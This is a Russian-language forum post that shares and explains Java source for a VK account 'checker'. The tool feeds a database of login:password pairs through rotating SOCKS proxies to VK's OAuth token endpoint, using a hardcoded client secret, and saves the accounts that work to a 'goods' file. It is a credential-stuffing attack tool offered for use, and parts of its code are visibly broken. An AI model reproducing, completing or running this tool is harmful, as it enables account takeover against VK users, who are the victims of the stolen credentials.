Dyrt hjort
Местный
Всем привет. Хочу поделиться с вами сурсами своего чекера на вк.
Думаю, для того, что бы работу софта понял каждый я распишу его код:
1. Класс main(основной класс нашего софта), который будет отправлять запросы и проводить проверку.
2. Класс Base, который будет давать нам значения логина и пароля
3. Будет класс, который возвращает валидные прокси
Суть данного класса в том, что мы запрашиваем прокси и из файла с проксями и проверяем их на валид обращаясь к гуглу. Если запрос дошел, то прокся жива и будет передана в класс Main-
4. Ну и на последок класс Nosku, который будет читать базу с проксями и давать нам значения
Вот так пишется простенький чекер вк. Осталось лишь собрать jar file и запустить его.
Что касаемо проксей, то софт достаточно требовательный, поэтому учтите тот факт, что если прокси плохие, то валид может попасть в файл с невалидом.
Всем благ.
Думаю, для того, что бы работу софта понял каждый я распишу его код:
1. Класс main(основной класс нашего софта), который будет отправлять запросы и проводить проверку.
Код:
package su.vlmi.vk; //пакет проекта
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.sql.SQLOutput;
import java.util.Scanner;
//Выше строки со словом импорт подключают необходимые нам библиотеки к проекту.
public class Main {
static Scanner in = new Scanner(System.in); /* Делаем ссылку на функцию сканер, которая позволит нам вводить символы с клавиатуры */
public static void main(String[] args) throws IOException {
String valids = Main.Dirwv(); /*Переменная значение которой является полный путь до файла в который будут сохранены валидные аккаунты. Значение пути мы получаем из метода ниже к которому обрашается переменная. */
String bads = Dirwb(); // Аналогично, но уже с не валидными аккаунтами
System.out.println("Starting:"); //Выводит на экран "Starting" показав, что работа уже началась
int i = 1; //просто необходимая переменная Xd. Можно обойтись без него, но мне было проще сделать так.
while(true) {
String log = Base.read(i); /* Переменная лог содержит в себе "логин:пароль", либо "номер:пароль" полученый в процессе обраения к методу read(), который находиться в классе Base. Вот тут и всплывает необходимость нашей i переменной, что она делает мы разберем в следующем классе, но пока нужно понять, что это важная деталь хоть можно и сделать по другому и она нам не понадобиться. */
if(log == null){ /*Тут идет проверка, если значение log = null:null то программа завершает свою работу. */
break;
}
String[] sp = log.split(":"); /*Разбиваем строку на 2 значения. 1-ое до ":", а 2-ое после ":"
String login = sp[0]; //Переменную логин приравниваем к 1 значение разбитой строки
String password = sp[1]; //Переменную пароль приравниваем ко 2 значению разбиой строки
if(login == null){ //Если значение логин = null, то мы даем рандомное значение
login = "[email protected]";
} else if (password == null){ //Аналогично, только с паролем
password = "NotFindPassword";
}
String nosok = Checkkk.vsocks(i); /*Делаем запрос на получение "ip:port" в методе vsocks, который находится в классе Checkkk. Снова переменная i является так же важной, как и в случаем с обращением к классу Base */
if(nosok == null){
break;
} //Так как у нас прокси все мертвы, то работа завершается
String[] hosts = nosok.split(":"); //Аналагично разбиваем строку
String target = hosts[0]; //Тут у нас будет 1 значение то есть ip
int port = Integer.parseInt(hosts[1]); /* Тут у нас будет 2 значение то есть port.
Proxy proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(target, port)); /* Делаем ссылку на функцию прокси и сразу определяем какие прокси мы будем использвать и передаем значения. */
String url = "https://oauth.vk.com/token?grant_type=password&client_id=3697615&client_secret=AlVXZFMUqyrnABp8ncuU&username="
+ login + "&password=" + password + "&scope=messages,friends&v=5.80&2fa_supported=1";
/* Делаем юрл на который мы будем слать гет запрос и исходя из ответа определять валиден акк или нет. */
OkHttpClient client = new OkHttpClient.Builder().proxy(proxy).build(); /* Создаем клиент для отправки запросов и подключаем к нему прокси. */
/* Если вам не нужны прокси, то тогда потребуется удалить вот это ".Builder().proxy(proxy).build" и софт будет работать с вашего айпи без проксей*/
Request request = new Request.Builder().url(url).get().build(); //Создаем запрос
try {
Response response = client.newCall(request).execute(); /* Тут происходит отправка запроса на сервер и получение ответа */
if (response.code() == 200) { /*Проверяет, если код ответа = 200, то идет запись в файл с гудами */
log = "============ " + log + " ============= \n";
Files.write(Paths.get(valids), log.getBytes(), StandardOpenOption.APPEND);
}else{
Files.write(Paths.get(bads), log.getBytes(), StandardOpenOption.APPEND); /*Если код ответа не равен 200, то запись будет в файл с не валидными аккаунтами. */
}
} catch (IOException e) {
e.printStackTrace();
}
i++; /*Увеличиваем нашу переменную i на 1
}
System.out.println("Finished!"); //Выводиться надпись по окончанию работы программы.
}
public String Dirdb() { //Функция просит ввести вас путь до базы.
System.out.print("Введите путь до базы: ");
String name = in.nextLine();
return name;
}
public static String Dirwv() {//Функция просит ввести вас путь до файла с гудами.
System.out.print("Введите путь к файлу для сохранения гудов: ");
String name = in.nextLine();
return name;
}
public static String Dirwb() { //Функция просит ввести вас путь до файла с невалидом.
System.out.print("Введите путь к файлу для сохранения бэдов: ");
String name = in.nextLine();
return name;
}
public String Dirp() { //Функция просит ввести вас путь до файла с проксями.
System.out.print("Введите путь до проксей: ");
String name = in.nextLine();
return name;
}
}
2. Класс Base, который будет давать нам значения логина и пароля
Код:
package su.vlmi.vk;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
public class Base {
static Main m = new Main(); //Делаем ссылку на класс Main
static String way = m.Dirdb(); //Используя ссылку на класс Main запрашиваем путь до базы
public static String(int i) throws IOException {
String a = null;
BufferedReader br = new BufferedReader(new FileReader(way)); /* Ссылка на функцию, которая будет читать файл */
for( int j = 0; j < i; j++){ /*Вот тут и понадобился нам i. Он является своего рода пределом. При чтении файла, что бы нам давалось все строго по порядку мы используем данный предел. То есть. У нас есть переменная j = 0 и i, который в 1-ом случае = 1. Значит цикл фор возьмет 1 строку файла и переменную а приравняет к значению этой строки. Если i=10, то а будет приравнено к значению 9 строки. Все просто. */
a = br.readLine();
}
return a; //Возвращаем значение а в переменную log метода main находящегося в классе Main
}
}
3. Будет класс, который возвращает валидные прокси
Код:
package su.vlmi.vk;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;
public class Checkkk {
public static String vsocks(int i) {
String ret = null;
while(true) {
try {
String vsock = Nosku.read(i); //Запрашивает у файла с проксями значния
if(vsock == null){ /* проверяет, если значение полученное от класса Noscku равно null, то выводит на экран надпись, что все прокси мертвы и останавливает работу */
System.out.println("All poxy is dead");
break;
String[] target = vsock.split(":");
String ip = target[0];
int port = Integer.parseInt(target[1]);
Proxy proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(ip, port));
OkHttpClient client = new OkHttpClient.Builder()
.proxy(proxy)
.connectTimeout(5, TimeUnit.SECONDS)
.writeTimeout(3, TimeUnit.SECONDS)
.readTimeout(3, TimeUnit.SECONDS)
.build();
Request request = new Request.Builder().url("https://google.com").get().build();
Response response = client.newCall(request).execute();
if (response.code() == 200) {
ret = vsock;
break;
}
} catch (IOException e) {
}
i++;
}
return ret;
}
}
Суть данного класса в том, что мы запрашиваем прокси и из файла с проксями и проверяем их на валид обращаясь к гуглу. Если запрос дошел, то прокся жива и будет передана в класс Main-
4. Ну и на последок класс Nosku, который будет читать базу с проксями и давать нам значения
Код:
package su.vlmi.vk;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
public class Nosku {
static Main m = new Main();
static String way = m.Dirp();
public static String read(int i) throws IOException {
String a = null;
BufferedReader br = new BufferedReader(new FileReader(way));
for( int j = 0; j < i; j++){
a = br.readLine();
}
return a;
}
}
Вот так пишется простенький чекер вк. Осталось лишь собрать jar file и запустить его.
Что касаемо проксей, то софт достаточно требовательный, поэтому учтите тот факт, что если прокси плохие, то валид может попасть в файл с невалидом.
Всем благ.